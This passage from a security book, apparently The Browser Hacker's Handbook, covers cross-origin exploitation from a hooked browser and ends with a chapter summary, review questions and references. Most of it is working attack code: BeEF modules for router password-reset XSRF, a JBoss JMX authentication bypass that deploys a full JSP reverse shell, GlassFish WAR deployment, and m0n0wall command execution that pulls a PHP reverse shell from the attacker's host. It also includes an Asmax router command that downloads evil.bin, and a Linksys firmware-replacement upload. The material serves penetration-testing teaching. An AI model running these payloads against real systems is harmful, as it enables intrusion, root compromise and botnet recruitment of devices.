"&telnet=1&telnet=3&tftp=1&tftp=3");

// change passwords for the 3 default user roles

var iframe_2 = beef.dom.createIframeXsrfForm(

gateway + "password.cgi", "POST", [

{'type':'hidden', 'name':'sptPassword', 'value':passwd},

{'type':'hidden', 'name':'usrPassword', 'value':passwd},

{'type':'hidden', 'name':'sysPassword', 'value':passwd}

]);

If this code executes successfully, you can connect to the target’s IP and log into the remote administrative interface with the new password. From there, you can then change the DNS server settings to anything you like.

Cross-origin JBoss JMX Remote Command Execution

JBoss is a popular Java Application Server from RedHat that has had its fair share of vulnerabilities over the years. In 2010 Stefano di Paola and Giorgio Fedon released an advisory, assigned as CVE-2010-0738, affecting JBoss versions 4.x, 5.1.0, and even 6.0.0M1.

The bug is an HTTP Verb Tampering issue in the Java Management Extensions Console (JMX) of JBoss. JMX is a technology used to monitor application server loads and performance. You can also deploy new web applications in the form of a WAR archive or simple JSP files.

In JBoss, the JMX is exposed as an easy-to-use web application usually available at the /jmx-console URI, which by default requires no authentication. If authentication is enabled, only GET or POST requests are checked to see if they can access the /jmx-console resources. Being the well-rounded penetration testers we are, we know there are more HTTP methods than just GET or POST. For example, a HEAD request, which in practice has a very similar functionality to GET. This means an attacker can bypass JMX authentication, if enabled, by simply sending a HEAD request instead of aGET or POST request.

In these instances, if you have access to the JBoss JMX Console, the world is yours,36 in a manner of speaking. With this level of access you can deploy new web applications in the form of WAR (Web Application Archive) files or simple JSP (Java Server Pages) files. For example, you can deploy a JSP page that spawns a bind or reverse shell, which runs with the same privileges as the JBoss user.

The following code snippet is an example of the BeEF module constructed to bypass the JMX authentication and deploy a reverse JSP shell:

beef.execute(function() {

rhost = "<%= @rhost %>";

rport = "<%= @rport %>";

lhost = "<%= @lhost %>";

lport = "<%= @lport %>";

injectedCommand = "<%= @injectedCommand %>";

jspName = "<%= @jspName %>";

payload = "[…]";

uri = "/jmx-console/HtmlAdaptor;index.jsp?action=invokeOp&name=\

jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=\

%2Fconsole-mgr.sar/web-console.war%2F&arg1=" + jspName + "&arg2=.jsp\

&arg3=" + payload + "&arg4=True";

/* always use dataType: script when doing cross-origin XHR,

* otherwise even if the HTTP resp is 200, jQuery.ajax will always

* launch the error() event*/

beef.net.forge_request("http", "HEAD", rhost, rport, uri, null, null,

null, 10, 'script', true, null,function(response){

if(response.status_code == 200){

function triggerReverseConn(){

beef.net.forge_request("http", "GET", rhost, rport,"/web-console/" +

jspName + ".jsp", null, null, null, 10, 'script', true, null,\

function(response){

if(response.status_code == 200){

beef.net.send("<%= @command_url %>", <%= @command_id %>,

“Reverse JSP shell triggered. Check your MSF handler listener.");

}else{

beef.net.send("<%= @command_url %>", <%= @command_id %>,

“ERROR: second GET request failed.");

}

});

}

// give the time to JBoss to deploy the JSP reverse shell

setTimeout(triggerReverseConn,10000);

}else{

beef.net.send("<%= @command_url %>", <%= @command_id %>,

“ERROR: first HEAD request failed.");

}

});

});

The JSP reverse shell code used is a modified version of Metasploit’s reverse JSP shell. The payload variable contains the URL-encoded JSP source code, which is the following if you decode it:

<%@page import="java.lang.*"%>

<%@page import="java.util.*"%>

<%@page import="java.io.*"%>

<%@page import="java.net.*"%>

<% class StreamConnector extends Thread {

InputStream is; OutputStream os;

StreamConnector( InputStream is, OutputStream os ) {

this.is = is; this.os = os;

}

public void run() {

BufferedReader in = null;

BufferedWriter out = null;

try {

in = new BufferedReader(new InputStreamReader(this.is));

out = new BufferedWriter(new OutputStreamWriter(this.os));

char buffer[] = new char[8192];

int length;

while((length = in.read(buffer, 0, buffer.length)) > 0 ){

out.write(buffer, 0, length); out.flush();

}

}catch( Exception e ){}

try {

if( in != null )

in.close();

if( out != null )

out.close();

}catch( Exception e ){}

}

}

try {

Socket socket = new Socket(lhost,lport);

Process process = Runtime.getRuntime().exec(injectedCommand);

(new StreamConnector(process.getInputStream(),

socket.getOutputStream())).start();

(new StreamConnector(socket.getInputStream(),

process.getOutputStream())).start();

} catch(Exception e){}

%>

The exploit consists of two phases:

· Phase One is when the HEAD request is sent, together with the encoded JSP payload, to the /jmx-console/HtmlAdaptor;index.jsp URI. The DeploymentFileRepository MBean (Managed Bean) is used to deploy the JSP into JBoss.

· Phase Two occurs if the HEAD request was successful, and triggerReverseConn() is called after 10 seconds. This delay is in place to give JBoss enough time to deploy the JSP. Calling this function results in a GET request being issued to the JSP page previously deployed. This step is needed to trigger the reverse connection, which points to the Metasploit listener specified within the lhost and lport variables.

If the exploit executes correctly, you should now have a reverse shell running as the JBoss user. To see a demonstration of this exploit, visit https://browserhacker.com and watch the video.

Cross-origin GlassFish Remote Command Execution

Similar to JBoss, Glassfish is another Java Application Server. Roberto Suggi Liverani discovered (CVE-2012-0550) 37 that the RESTful API of Glassfish 3.1.1 is not protected by any anti-XSRF tokens. This issue can be exploited in Glassfish by tricking an already authenticated Glassfish administrator to silently deploy a WAR to the GlassFish server, achieving the same results as the previous JBoss exploitation scenario.

The following code snippet is part of the BeEF module written by Bart Leppens that can be used to deploy an arbitrary WAR into Glassfish, and achieve command execution as the Glassfish user. The most interesting aspect of the exploit is the usage of a cross-origin multipart POST request using the XMLHttpRequest object, using a technique explored by Krzysztof Kotowicz:38

beef.execute(function() {

var restHost = '<%= @restHost %>';

var warName = '<%= @warName %>';

var warBase = '<%= @warBase %>';

var logUrl = restHost + '/management/domain/applications

/application';

if (typeof XMLHttpRequest.prototype.sendAsBinary ==

'undefined' && Uint8Array) {

XMLHttpRequest.prototype.sendAsBinary = function(datastr) {

function byteValue(x) {

return x.charCodeAt(0) & 0xff;

}

var ords = Array.prototype.map.call(datastr, byteValue);

var ui8a = new Uint8Array(ords);

this.send(ui8a.buffer);

}

}

function fileUpload(fileData, fileName) {

boundary = "BOUNDARY270883142628617",

uri = logUrl,

xhr = new XMLHttpRequest();

var additionalFields = {

asyncreplication: "true",

availabilityenabled: "false",

contextroot: "",

createtables: "true",

dbvendorname: "",

deploymentplan: "",

description: "",

dropandcreatetables: "true",

enabled: "true",

force: "false",

generatermistubs: "false",

isredeploy: "false",

keepfailedstubs: "false",

keepreposdir: "false",

keepstate: "true",

lbenabled: "true",

libraries: "",

logReportedErrors: "true",

name: "",

precompilejsp: "false",

properties: "",

property: "",

retrieve: "",

target: "",

type: "",

uniquetablenames: "true",

verify: "false",

virtualservers: "",

__remove_empty_entries__: "true"

}

var fileFieldName = "id";

xhr.open("POST", uri, true);

xhr.setRequestHeader("Content-Type", "multipart/form-data;

boundary="+boundary); // simulate a file MIME POST request.

xhr.withCredentials = "true";

xhr.onreadystatechange = function() {

if (xhr.readyState == 4) {

beef.net.send('<%= @command_url %>', <%= @command_id %>,

'Attempt to deploy \"' + warName + '\" completed.');

}

}

var body = "";

for (var i in additionalFields) {

if (additionalFields.hasOwnProperty(i)) {

body += addField(i, additionalFields[i], boundary);

}

}

body += addFileField(fileFieldName, fileData, fileName, boundary);

body += "--" + boundary + "--";

xhr.setRequestHeader('Content-length', body.length);

xhr.sendAsBinary(body);

return true;

}

function addField(name, value, boundary) {

var c = "--" + boundary + "\r\n"

c += 'Content-Disposition: form-data; name="' + name +'"\r\n\r\n';

c += value + "\r\n";

return c;

}

function addFileField(name, value, filename, boundary) {

var c = "--" + boundary + "\r\n"

c += 'Content-Disposition: form-data; name="' + name +

'"; filename="' + filename + '"\r\n';

c += "Content-Type: application/octet-stream\r\n\r\n";

c += atob(value);

c += "\r\n";

return c;

}

fileUpload(warBase,warName);

});

The fileUpload() function expects two parameters: warBase is the WAR you want to deploy encoded in base64, and warName is an arbitrary name for the WAR file. The first step is to iterate the additionalFields JSON structure, and for each key-value a corresponding Content-disposition: form-data header is added. These values are expected by default when you use Glassfish’s RESTful API at the URI /management/domain/applications/application.

Next the base64-encoded WAR contents are decoded and added to the final body of the POST request, specifying Content-Type: application/octet-stream because the content is binary.

At this stage, the multipart/form-dataPOST request is created and ready to be sent to the vulnerable Glassfish application server. Don’t forget the WAR content is binary data.

Unfortunately, not all browsers are created equal when it comes to sending binary data using the XMLHttpRequest object. The XMLHttpRequest object in Firefox exposes the sendAsBinary()39 method instead, which is much more reliable. Unfortunately, non-Gecko browsers do not expose the same functionality, at least at the time of this writing.

Still, if typed array support is available, overriding the prototype of sendAsBinary() and the Array object can be performed to emulate the behavior in non-Gecko browsers. The work around sendAsBinary() code is shown here:

if (typeof XMLHttpRequest.prototype.sendAsBinary ==

'undefined' && Uint8Array) {

XMLHttpRequest.prototype.sendAsBinary = function(datastr) {

function byteValue(x) {

return x.charCodeAt(0) & 0xff;

}

var ords = Array.prototype.map.call(datastr, byteValue);

var ui8a = new Uint8Array(ords);

this.send(ui8a.buffer);

}

}

Using one of the login detection techniques presented previously in this chapter for detecting different HTTP status codes, you can determine if the hooked browser is authenticated as a Glassfish admin. If it is, you can launch the exploit. If the exploit is successful, you should now have a shell running as the Glassfish user, and proceed with additional privilege escalation steps.

To see a demonstration of this exploit, visit https://browserhacker.com and watch the video.

Cross-origin m0n0wall Remote Command Execution

The embedded firewall solution m0n0wall is based on FreeBSD. It can be used in either embedded devices like Soekris mainboards or old unused PCs. The m0n0wall web administration interface was susceptible to a post-authentication exploit, similar to the Glassfish example. Yann Cam discovered40 that the web administrative interface of m0n0wall 1.33 and prior versions lacked XSRF protection mechanisms.

The web administration interface has many features, including the ability to execute raw commands as root. For exploitation, you’ll use a slightly different m0n0wall resource, exec_raw.php, which gives you more flexibility because it expects raw PHP code. The BeEF module that exploits this vulnerability uses Mark Lowe’s41 PHP shell for its reliability. The connection established between the webshell and a Netcat listener is quite stable. The shell is interactive, allowing you to carry on your penetration testing activities.

The following code snippet shows the instructions used to exploit an authenticated m0n0wall web administration interface from a hooked browser:

beef.execute(function() {

var rhost = '<%= @rhost %>';

var rport = '<%= @rport %>';

var lhost = '<%= @lhost %>';

var lport = '<%= @lport %>';

var uri = "http://" + rhost + ":" + rport + "/exec_raw.php? \

cmd=echo%20-e%20%22%23%21%2Fusr%2Flocal%2Fbin%2Fphp%5Cn%3C%3Fphp%20 \

eval%28%27%3F%3E%20%27.file_get_contents%28%27http%3A%2F%2F" + \

beef.net.host + ":" + beef.net.port + "%2Fphp-reverse-\

shell.php%27%29.%27%3C%3Fphp%20%27%29%3B%20%3F%3E%22%20%3E%20 \

x.php%3Bcat%20x.php%3Bchmod%20755%20x.php%3B";

beef.net.forge_request("http", "GET", rhost, rport, uri, null,

null, null, 10, 'script', true, null, function(response){

if(response.status_code == 200){

function triggerReverseConn(){

beef.net.forge_request("http", "GET", rhost, rport,

"/x.php?ip=" + lhost + "&port=" + lport, null, null, null, 10,

'script', true, null,function(response){

if(response.status_code == 200){

beef.net.send("<%= @command_url %>", <%=

@command_id %>,"result=OK: Reverse shell should have been triggered.");

}else{

beef.net.send("<%= @command_url %>", <%=

@command_id %>,"result=ERROR: second GET request failed.");

}

});

}

setTimeout(triggerReverseConn,5000);

}else{

beef.net.send("<%= @command_url %>", <%= @command_id

%>,"result=ERROR: first GET request failed.");

}

});

});

The code is URL decoding the content of the uri variable by using the exec_raw.php resource, which is available by default in every m0n0wall installation:

/exec_raw.php?cmd=echo -e "#!/usr/local/bin/php\n \

<?php eval('?> '.file_get_contents('http://" + \

beef.net.host + ":" + beef.net.port + \

"/php-reverse-shell.php').'<?php '); ?>" > \

x.php;cat x.php;chmod 755 x.php;

The reverse shell content hosted on the BeEF server is retrieved using PHP’s file_get_contents. Its content is then added to the x.php file on the target and the file permissions are then adjusted. This stage occurs with the first GET request.

In the meantime, a simple Netcat socket is listening on lhost and lport on your machine. To trigger the reverse shell connection, a second GET request is then issued, requesting the x.php file created previously. If the exploit was successful, you should now have remote root access on the vulnerable m0n0wall device.

The m0n0wall web administration interface vulnerability is due to the lack of XSRF protective mechanisms, which results in the web application trusting cross-origin requests. Also, exploitation relies on the target being logged in to the application, and this can be determined using the techniques discussed earlier in this chapter. To see a demonstration of this exploit, visit https://browserhacker.com and watch the video.

Cross-origin Embedded Device Command Execution

Home routers usually run embedded versions of Linux, frequently on MIPS architectures. BusyBox, a compilation of common UNIX utilities wrapped up into a small executable, is quite commonly found on these embedded devices. If you’re able to exploit Remote Command Execution vulnerabilities, you can employ BusyBox to subvert the router internals in a more direct way.

Pre-authentication Remote Command Execution

Michal Sajdak discovered42 that a popular router in Poland, the Asmax AR 804, was vulnerable to RCE pre-authentication. The following JavaScript demonstrates exploitation of the flaw:

var gateway = '192.168.0.1';

var path = 'cgi-bin/script?system%20';

var cmd = 'wget%20http%3A%2F%2Fbrowserhacker.com

%2Fevil.bin%20-P%20%2Fvar%2Ftmp';

var img = new Image();

img.setAttribute("style","visibility:hidden");

img.setAttribute("width","0");

img.setAttribute("height","0");

img.id = 'asmax_ar804gu';

img.src = gateway+path+cmd;

document.body.appendChild(img);

The commands available in the router included wget; this is exploited in the code snippet to download evil.bin from browserhacker.com into the /var/tmp folder. To exacerbate the vulnerability, every process on the router, including the web server, was running as root as you can see fromFigure 9-37.

Figure 9-37: Every process on the Asmax router runs as root.

image

RCE vulnerabilities including direct access to a router’s BusyBox interface have been used maliciously in the wild. One of the first appearances of a botnet made with SOHO routers dates back to 2008, and was known as PsyBot. According to Terry Baume43, the botnet was mainly composed of Netcom NB5 routers.

A popular version of the firmware in those devices did not enforce any authentication on the web user interface, allowing the attackers to enable Telnet administration on the router. Once Telnet was accessible, the attacks then executed the comment in Figure 9-38.

Figure 9-38: PsyBot infection first command

image

As you can see in Figure 9-38, the following is occurring:

· The udhcpc.env file is downloaded into /var/tmp with wget

· The file is then set to be executable by the chmod command

· The file is then executed in the background

The executable is compiled for MIPS and, once executed, connects to one of the IRC command and control botnet servers run by the attackers. The same attack vector could be used against the RCE vulnerability described earlier for the Asmax routers, as it was pre-authentication and every command would run with root privileges.

Other more recent appearances of botnets targeting SOHO routers include the Chuck Norris variants that affected multiple Linux MIPS–embedded devices during 2009/2010. The hilarious name was not due to the routers being hacked by Chuck Norris himself, unfortunately. The researchers at Masaryk University discovered an Italian comment in the source code: “[R]anger killato: in nome di Chuck Norris” (which, when translated, means: “Ranger killed: in the name of Chuck Norris”).44

Firmware Replacement Remote Command Execution

Another way to achieve full control over the router is by replacing the firmware with your own. This is the ultimate method in which to subvert the router internals. If you manage to get your own firmware running on the device, you can also prevent further firmware updates from occurring.

Phil Purviance presented a technique at BlackHat 2012 to replace the firmware on various Linksys devices that were vulnerable to XSRF. The exploit worked cross-origin and used the same technique pioneered by Krzysztof Kotowicz and discussed in the GlassFish exploit. The following example demonstrates this technique:

function fileUpload(url, fileData, fileName) {

var fileSize = fileData.length,

boundary = "---------------------------" +

"168072824752491622650073", xhr = new XMLHttpRequest;

xhr.open("POST", url, true);

xhr.withCredentials = "true";

xhr.setRequestHeader("Content-Type",

"multipart/form-data, boundary=" + boundary);

// format properly the multipart POST body

var body = boundary + "\r\n";

body += "Content-Disposition: form-data; " +

"name=\"submit_button\"; name=\"submit_button\" \r\n\r\nUpgrade\r\n";

body += boundary + "\r\nContent-Disposition: " +

"form-data; name=\"change_action\"\r\n\r\n\r\n";

body += boundary + "\r\nContent-Disposition: " +

"form-data; name=\"action\"\r\n\r\n\r\n";

body += boundary + "\r\nContent-Disposition: " +

"form-data; name=\"file\"; " +

"filename=\"FW_WRT54GL_4.30.15.002_US_20101208_code.bin\"\r\n";

body += "Content-Type: application/macbinary\r\n";

body += "\r\n" + fileData + "\r\n\r\n";

body += boundary + "\r\nConntent-Disposition: " +

"form-data; name=\"process\"\r\n\r\n\r\n";

body += boundary + "--";

// for non-Gecko Browsers like Chrome that don't have sendAsBinary

if(navigator.userAgent.toLowerCase().indexOf("chrome") > -1) {

XMLHttpRequest.prototype.sendAsBinary = function(datastr) {

function byteValue(x) {

return x.charCodeAt(0) & 255

}

var ords = Array.prototype.map.call(datastr, byteValue);

var ui8a = new Uint8Array(ords);

this.send(ui8a.buffer)

}

}

xhr.sendAsBinary(body);

return true

}

// call fileUpload() passing the firmware contents

fileUpload("http://192.168.0.1/upgrade.cgi",

"[..firmware binary..]", "myFile.gif");

Executing this code, you are able to update the firmware of a Linksys WRT54GL with the raw data passed as the second argument to the fileUpload() function.

Modifying the existing router firmware and back-dooring it with your own code isn’t as difficult as you might think! You just need the right tools.

Craig Heffner, creator of binwalk45, together with Jeremy Collake, created the Firmware Modification Kit.46 This collection of Bash scripts can be used to unpack the router firmware in order to obtain the file system files tree. Then you can read every file, modify them by inserting your backdoor code, and then repack everything as a single file ready to be used with the attacks described earlier.

Robert Kornmeyer, in mid-2013, published an article on PaulDotCom47 showing how you could backdoor a DD-WRT firmware for Linksys routers using the Firmware Modification Kit. He was able to modify the Info.htm page source to include the BeEF hook, as you can see in Figure 9-39.

Figure 9-39: DD-WRT backdoored with the BeEF hook

image

These same attack vectors are equally valid on any network appliance that exposes a web interface, not just routers. Exploiting XSS, Basic Authentication and CSRF flaws is a great method to make unauthorized changes to NAS devices, switches, surveillance cameras, media players and more. As you might expect, BeEF includes numerous command modules targeting these particular issues. At a high level these are categorized into exploit attacks against cameras, NAS devices and routers.

The camera modules attempt to exploit flaws to update admin credentials in DLink and Linksys models. For example, in one instance targeting an AirLive camera, the module adds a new admin user.

The NAS exploit modules target both DLink and FreeNAS devices. The DLink CSRF flaw permits remote code execution, while the CSRF flaw in the FreeNAS device is used to create a reverse shell back out to your computer.

The router exploit modules include attacks against 3COM, Belkin, CISCO, DLink, Linksys and Comtrend devices. Most of these will attempt to exploit CSRF flaws to change admin passwords, or enable remote access, as has been discussed earlier.

Figure 9-40 presents another useful resource for attacking network gateway devices: http://www.routerpwn.com. Routerpwn, a project created by Roberto Salgado, is a collection of HTML and JavaScript payloads targeting residential routers. This allows almost anyone, anywhere, to attack his or her local router. The attacks are broken down against router manufacturers, such as Belkin, Cisco, Huawei, Netgear and so on. The webpage itself is actually just a single HTML file, and so can be downloaded and run offline in instances where perhaps Internet connectivity is not available.

Figure 9-40: Routerpwn - www.routerpwn.com

image

The attacks covered in this section provide a demonstration of the fragility of network routers, particularly SOHO devices often found in people’s homes. One of the primary causes of these issues is the assumption that vendors make around the security of web user interfaces. That is, web interfaces published on internal networks are safe from attackers on the Internet.

This assumption comes tumbling down like a house of cards if a browser within the network is executing JavaScript under an attacker’s control. From this vantage point, the router can be reconfigured, bypassed entirely, or become part of a botnet.

Summary

This chapter has detailed a range of web application attack scenarios that can be launched from the hooked browser, many of which can be performed across origins without violating the SOP. The methods covered afford you as the attacker an increased level of anonymity and provide access to non-routable web applications residing on intranets.

Approaches to identify and exploit vulnerabilities cross-origin have also been discussed. These included Remote Command Execution (RCE), SQL injection, and Cross-site Scripting attacks (XSS).

You now know how hooking origins employing XSS vulnerabilities (discovered cross-origin) could expand the number of origins under your control and increase the attack surface. Once hooked, the newly controlled origin could be accessed via a Tunneling Proxy. This allows you to potentially ride an authenticated session and bypass some mitigations using HttpOnly. Standard security tools, like Burp and Sqlmap, could also use the Tunneling Proxy to relay their request via the hooked browser.

This chapter also showed that standard web application exploits could be launched cross-origin. These attacks can exploit RCE vulnerabilities on devices located on the intranet.

In the next chapter, you further explore taking advantage of hooked browsers positioned within internal networks. The attacks covered demonstrate how to compromise non-web services using Inter-protocol Communication and Exploitation, along with other methods.

Questions

1. What are preflight requests?

2. How does cross-origin web application fingerprinting work? Is it respecting or violating the Same Origin Policy?

3. How do you blindly hook a new domain? Describe an example.

4. Is there a way to detect if the user is logged in to a web application, respecting the Same Origin Policy?

5. Why can combining an XSRF vulnerability with a Cross-domain request potentially have devastating effects? How would a pseudo-random anti-XSRF token mitigate that?

6. Which type of SQL injection is possible to detect cross-origin, respecting the Same Origin Policy? Is it blind or not?

7. How is it possible to proxy HTTP requests through the hooked browser?

8. Describe how the GlassFish exploit (CVE-2012-0550) explained in the last section of the chapter works. Are there any caveats?

9. How can you exploit a liberal cross-origin policy, which allows access from all domains? Describe a practical example.

10. Provide an example of a web application pinch point.

For answers to the questions please refer to the book’s website at https://browserhacker.com/answers or the Wiley website at: www.wiley.com/go/browserhackershandbook.

Notes

1. Mozilla Developer Network. (2013). HTTP access control (CORS). Retrieved June 15, 2013 from https://developer.mozilla.org/en-US/docs/HTTP/Access_control_CORS

2. W3C. (2013). Cross-origin Resource sharing Terminology. Retrieved June 15, 2013 from http://www.w3.org/TR/cors/#simple-method

3. W3C. (2013). Cross-origin Resource sharing Terminology. Retrieved June 15, 2013 from http://www.w3.org/TR/cors/#simple-header

4. BeEF Project. (2012). Internal Network Fingerprinter. Retrieved October 8, 2013 from https://github.com/beefproject/beef/tree/master/modules/network/internal_network_fingerprinting

5. Chris Sullo. (2010). CMS Explorer. Retrieved June 15, 2013 from http://code.google.com/p/cms-explorer/

6. Sky. (2012). Sagem router firmware. Retrieved October 8, 2013 from http://www.skyuser.co.uk/skyinfo/the_sagem_f_st_2504_router_gets_a_new_fw.html

7. Gareth Heyes. (2007). JS Lan Scanner. Retrieved October 8, 2013 from http://code.google.com/p/jslanscanner/source/browse/trunk/lan_scan/js/lan_scan.js

8. Mike Cardwell. (2011). Abusing HTTP Status Codes to Expose Private Information. Retrieved June 15, 2013 from https://grepular.com/Abusing_HTTP_Status_Codes_to_Expose_Private_Information

9. H. Meer and M. Slaviero. (2007). It’s all about timing. Retrieved June 15, 2013 from http://www.defcon.org/images/defcon-15/dc15-presentations/Meer_and_Slaviero/Whitepaper/dc-15-meer_and_slaviero-WP.pdf

10. P. Watkins. (2001). Cross-site Request Forgeries. Retrieved June 15, 2013 from http://www.tux.org/~peterw/csrf.txt

11. BeEF Project. (2012). CSRF Virgin Superhub. Retrieved October 8, 2013 from https://github.com/beefproject/beef/issues/703

12. Chris Shiflett. (2004). Cross-Site Request Forgeries. Retrieved June 15, 2013 from http://shiflett.org/articles/cross-site-request-forgeries

13. James Fisher. (2013). DirBuster Project. Retrieved June 15, 2013 from https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project

14. Mozilla Developer Network. (2013). DOMParser. Retrieved June 15, 2013 from https://developer.mozilla.org/en-US/docs/Web/API/DOMParser

15. Eli Gray. (2012). DOMParser HTML extension. Retrieved June 15, 2013 from https://gist.github.com/eligrey/1129031

16. David Litchfield, Chris Anley, John Heasman, and Bill Grindlay. (2005). The Database Hacker’s Handbook. Retrieved June 15, 2013 from http://www.amazon.com/The-Database-Hackers-Handbook-Defending/dp/0764578014

17. Justin Clarke. (2009). SQL Injection Attacks and Defense. Retrieved June 15, 2013 from http://store.elsevier.com/SQL-Injection-Attacks-and-Defense/Justin-Clarke/isbn-9781597499637/

18. Wikipedia. (2013). Prepared statement. Retrieved June 15, 2013 from http://en.wikipedia.org/wiki/Prepared_statement

19. Chema Alonso. (2007). Time-Based Blind SQL Injection with Heavy Queries. Retrieved June 15, 2013 from http://technet.microsoft.com/en-us/library/cc512676.aspx

20. Bernardo Damele. (2009). Advanced SQL injection to operating system full control. Retrieved June 15, 2013 from http://www.blackhat.com/presentations/bh-europe-09/Guimaraes/Blackhat-europe-09-Damele-SQLInjection-slides.pdf

21. Chris Anley. (2002). Advanced SQL injection. Retrieved June 15, 2013 from http://www.cgisecurity.com/lib/more_advanced_sql_injection.pdf

22. Microsoft Developer Network. (2013). WAITFOR (Transact-SQL). Retrieved June 15, 2013 from http://msdn.microsoft.com/en-us/library/ms187331.aspx

23. Gareth Heyes. (2009). XSS Rays. Retrieved June 15, 2013 from http://www.thespanner.co.uk/2009/03/25/xss-rays/

24. Mario Heiderich. (2010). XSSAuditor bypasses from sla.ckers.org. Retrieved June 15, 2013 from https://bugs.webkit.org/show_bug.cgi?id=29278#c6

25. D. Kristol and L. Montulli. (2013). HTTP State Management Mechanism. Retrieved June 15, 2013 from http://www.ietf.org/rfc/rfc2109.txt

26. RandomStorm. (2013). Damn Vulnerable Web Application. Retrieved June 15, 2013 from http://www.dvwa.co.uk/

27. D. Stuttard. (2013). Burp Suite. Retrieved June 15, 2013 from http://portswigger.net/burp/

28. B. Damele and M. Stamparm. (2013). Sqlmap. Retrieved June 15, 2013 from http://sqlmap.org/

29. E. Oftedal. (2010). MalaRIA—I’m in your browser, surfin your webs. Retrieved June 15, 2013 from http://erlend.oftedal.no/blog/?blogid=107

30. n.runs AG. (2011). Denial of Service through hash table multi-collisions. Retrieved June 15, 2013 from https://www.nruns.com/_downloads/advisory28122011.pdf

31. Fortify. (2012). Web Server DoS by Hash Collision. Retrieved June 15, 2013 from http://web.archive.org/web/20120120043647/http://blog.fortify.com/blog/Vulnerabilities-Breaches/2012/01/04/Web-Server-DoS-by-Hash-Collision

32. R. Regan. (2011). Java HangsWhen Converting 2.2250738585072012e-308. Retrieved October 8, 2013 from http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/

33. F. Assolini. (2012). The tale of one thousand and one DSL modems. Retrieved October 8, 2013 from https://www.securelist.com/en/blog/208193852/The_tale_of_one_thousand_and_one_DSL_modems

34. C. Hoepers. (2012). Tratamento de Incidentes de Segurança e Tendências no Brasil. Retrieved October 8, 2013 from http://www.cert.br/docs/palestras/certbr-jornada-sisp2012.pdf

35. T. Donev. (2011). Comtrend ADSL Router (CT-5367) C01_R12 Remote Root. Retrieved October 8, 2013 from http://www.exploit-db.com/exploits/16275/

36. Wikipedia. (1983). Scarface. Retrieved June 15, 2013 from https://en.wikipedia.org/wiki/Scarface_(1983_film)

37. R. Suggi Liverani. (2012). Oracle Glassfish REST Interface—Cross-site Request Forgery Vulnerability. Retrieved June 15, 2013 from http://www.security-assessment.com/files/documents/advisory/Oracle_GlassFish_Server_REST_CSRF.pdf

38. K. Kotowicz. (2011). How to upload arbitrary file contents cross-domain. Retrieved June 15, 2013 from http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html

39. Mozilla Developer Network. (2013). XMLHttpRequest. Retrieved June 15, 2013 from https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()

40. Y. Cam. (2012). m0n0wall 1.33 Cross-site Request Forgery Vulnerability. Retrieved June 15, 2013 from http://1337day.com/exploit/19906

41. Pentestmonkey. (2013). PHP reverse shell. Retrieved June 15, 2013 from http://pentestmonkey.net/tools/web-shells/php-reverse-shell

42. M. Sajdak. (2009). ASMAX AR 804 gu compromise. Retrieved October 8, 2013 from http://www.securitum.pl/dh/asmax-ar-804-gu-compromise

43. T. Baume. (2011). Netcomm NB5 Botnet—PSYB0T 2.5L. Retrieved October 8, 2013 from http://users.adam.com.au/bogaurd/PSYB0T.pdf

44. P. Cˇeleda and R. Krejcˇí. (2011). An Analysis of the Chuck Norris Botnet 2. Retrieved October 8, 2013 from http://www.muni.cz/research/projects/4622/web/files/cnb-2.pdf

45. C. Heffner. (2013). Binwalk. Retrieved October 8, 2013 from https://code.google.com/p/binwalk/

46. C. Heffner and J. Collake. (2013). Firmware Modification Kit. Retrieved October 8, 2013 from http://code.google.com/p/firmware-mod-kit/

47. R. Kornmeyer. (2013). Creating Malicious Firmware with Firmware-Mod-Kit. Retrieved October 8, 2013 from http://pauldotcom.com/2013/06/creating-malicious-firmware-wi.html